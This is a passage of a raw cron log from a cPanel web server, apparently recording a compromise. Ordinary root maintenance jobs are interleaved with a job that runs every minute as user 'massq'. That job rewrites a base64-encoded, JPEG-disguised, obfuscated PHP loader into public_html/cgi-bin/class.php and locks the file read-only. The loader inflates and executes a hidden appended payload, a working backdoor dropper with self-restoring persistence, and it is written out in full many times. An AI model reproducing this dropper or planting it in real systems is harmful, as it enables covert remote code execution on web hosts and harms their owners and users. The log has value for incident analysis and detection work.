Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 22:39:01 server CROND[14271]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 22:39:01 server CROND[14272]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 10 22:40:01 server CROND[14342]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 22:40:01 server CROND[14343]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 22:40:01 server CROND[14344]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 22:40:01 server CROND[14345]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 22:41:01 server CROND[14470]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 22:42:01 server CROND[14539]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 22:42:01 server CROND[14540]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 22:43:01 server CROND[14705]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 22:44:01 server CROND[14781]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 22:45:01 server CROND[14855]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 22:45:01 server CROND[14856]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 22:45:01 server CROND[14857]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 22:46:01 server CROND[14974]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 22:47:01 server CROND[15038]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 22:48:01 server CROND[15112]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 22:49:01 server CROND[15281]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 22:50:01 server CROND[15366]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 22:50:01 server CROND[15367]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 22:50:01 server CROND[15368]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 22:50:01 server CROND[15369]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 22:50:01 server CROND[15370]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 22:51:01 server CROND[15489]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 22:52:01 server CROND[15552]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 